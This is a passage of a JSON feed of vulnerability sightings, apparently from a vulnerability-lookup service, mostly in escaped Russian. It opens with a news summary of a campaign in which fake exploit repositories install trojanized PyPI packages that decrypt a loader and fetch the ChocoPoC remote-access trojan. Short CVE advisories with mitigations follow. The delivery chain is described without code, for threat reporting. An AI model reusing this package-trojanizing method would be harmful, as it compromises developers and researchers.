\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0440\u043e\u044f\u043d\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c frint.\n\n\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043f\u0430\u043a\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c skytext, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 Python.\n\n\u041a\u043e\u0433\u0434\u0430 PoC \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f, \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 Python, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, ChocoPoC, \u0438\u0437 \u043d\u0430\u0431\u043e\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 Mapbox.\n\nChocoPoC RAT \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u043c\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044f\u043c\u0438, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 Python, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0430\u043f\u043e\u043a, \u0441\u0431\u043e\u0440 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u043f\u043e\u0438\u0441\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0441 \u0445\u043e\u0441\u0442\u0430, \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.\n\n\u0414\u0430\u043d\u043d\u044b\u0435 Mapbox \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u0445\u043e\u0442\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0444\u0430\u0439\u043b\u043e\u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u0432 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0447\u0435\u0440\u0435\u0437 HTTP-\u0441\u0435\u0440\u0432\u0435\u0440.\n\nSekoia \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441\u0435\u043c\u044c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 PoC \u043d\u0430 GitHub, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 ChocoPoC \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u044e\u0442 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f FortiWeb (CVE-2025-64446), React2Shell (CVE-2025-55182), MongoBleed (CVE-2025-14847), PAN-OS (CVE-2026-0257), Ivanti Sentry (CVE-2026-10520), Check Point VPN (CVE-2026-50751) \u0438 Joomla SP Page Builder (CVE-2026-48908).\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e Skytext \u0431\u044b\u043b\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043e 2400 \u0440\u0430\u0437, \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Linux.\n\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u0440\u0435\u0437\u043a\u043e \u0432\u043e\u0437\u0440\u043e\u0441\u043b\u043e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0443\u0436\u0438\u043b\u043e \u043f\u0440\u0438\u043c\u0430\u043d\u043a\u043e\u0439 \u0434\u043b\u044f \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e\u0449\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u0438\u0445 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u044b \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432.\n\nSekoia \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f frint \u0438 skytext \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u0432\u0430 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0435 slogsec \u0438 logcrypt.cryptography, \u0441 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u044f \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 ChocoPoC.\n\n\u041d\u0435\u044f\u0441\u043d\u043e, \u043a\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0437\u0430 \u044d\u0442\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0435\u0439, \u043d\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438 GitHub, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0442\u0440\u043e\u044f\u043d\u0441\u043a\u043e\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c PoC \u0432 \u043a\u043e\u043d\u0446\u0435 2025 \u0433\u043e\u0434\u0430.\n\n\u0423\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0434\u0432\u0443\u0445 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445, \u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u044e\u0442 \u0432 \u0431\u0430\u0437\u0430\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u0442\u0435\u0447\u0435\u043a, \u0430 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0430\u0434\u0440\u0435\u0441 \u00ab\u0441 \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e\u00bb.\n\n\u0421 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u044c\u044e \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0430\u0433\u0430\u0442\u044c, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 PyPI \u0438 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u043d\u043e\u0432\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0446\u0435\u043b\u043e\u0441\u0442\u0438, \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u043c\u0438.", "creation_timestamp": "2026-07-14T00:00:47.030763Z"}, {"uuid": "f58b9de0-4361-4fe5-a7e9-7be700b1f01b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48765", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mstmivp3o423", "content": "\ud83d\udd34 CVE-2026-48765 - Critical (9.9)\n\nTypeBot is a chatbot builder tool. Versions prior to 3.17.0 allow a low-privilege read collaborat...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48765/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-11T22:01:44.358115Z"}, {"uuid": "5ae4367e-2de1-48b8-86ae-ccb5bf841830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://t.me/bdufstecru/3298", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b ColdFusion \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0432\u0435\u0440\u043d\u043e\u0433\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438\u043c\u0435\u043d\u0438 \u043f\u0443\u0442\u0438 \u043a \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-09259\nCVE-2026-48282\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://helpx.adobe.com/security/products/coldfusion/apsb26-68.html\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \"/CFIDE/main/ide.cfm\";\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).", "creation_timestamp": "2026-07-14T01:00:04.497627Z"}, {"uuid": "ac7dcc06-0b72-4bad-81f1-c36059a7447a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48908", "type": "seen", "source": "https://t.me/bdufstecru/3303", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 SP Page Builder \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f JoomShape \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-09523\nCVE-2026-48908\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\nhttps://www.joomshaper.com/forum/question/45258\nhttps://www.joomshaper.com/forum/question/45476\nhttps://www.linkedin.com/posts/abdulganitumbi_if-you-run-joomla-with-sp-page-builder-check-activity-7472965272862306305-G927", "creation_timestamp": "2026-07-14T01:00:04.371421Z"}, {"uuid": "b222f176-38d9-4a86-8d82-13914797e993", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48772", "type": "seen", "source": "https://t.me/bdufstecru/3258", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 PROXY \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043b\u044f \u0431\u0430\u0437 \u0434\u0430\u043d\u043d\u044b\u0445 ProxySQL \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043e\u0431\u043e\u0439\u0442\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445\n\nBDU:2026-08519\nCVE-2026-48772\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://github.com/sysown/proxysql/releases/tag/v3.0.9\nhttps://github.com/sysown/proxysql/security/advisories/GHSA-gw94-85m2-x8v2", "creation_timestamp": "2026-07-14T01:00:05.797411Z"}, {"uuid": "1b9b7ae5-6d01-4a0f-81ff-8f53e611d42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://t.me/bdufstecru/3251", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f Joomla Content Editor (JCE) \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u043e\u043c Joomla \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438 \u0440\u0430\u0437\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-08425\nCVE-2026-48907\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://www.joomlacontenteditor.net/support/changelog/editor", "creation_timestamp": "2026-07-14T01:00:06.113439Z"}, {"uuid": "85e15560-1aff-4d16-ae8d-c5b7e927e6a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48853", "type": "seen", "source": "https://t.me/bdufstecru/3248", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0435\u043a\u0430 Erlpack 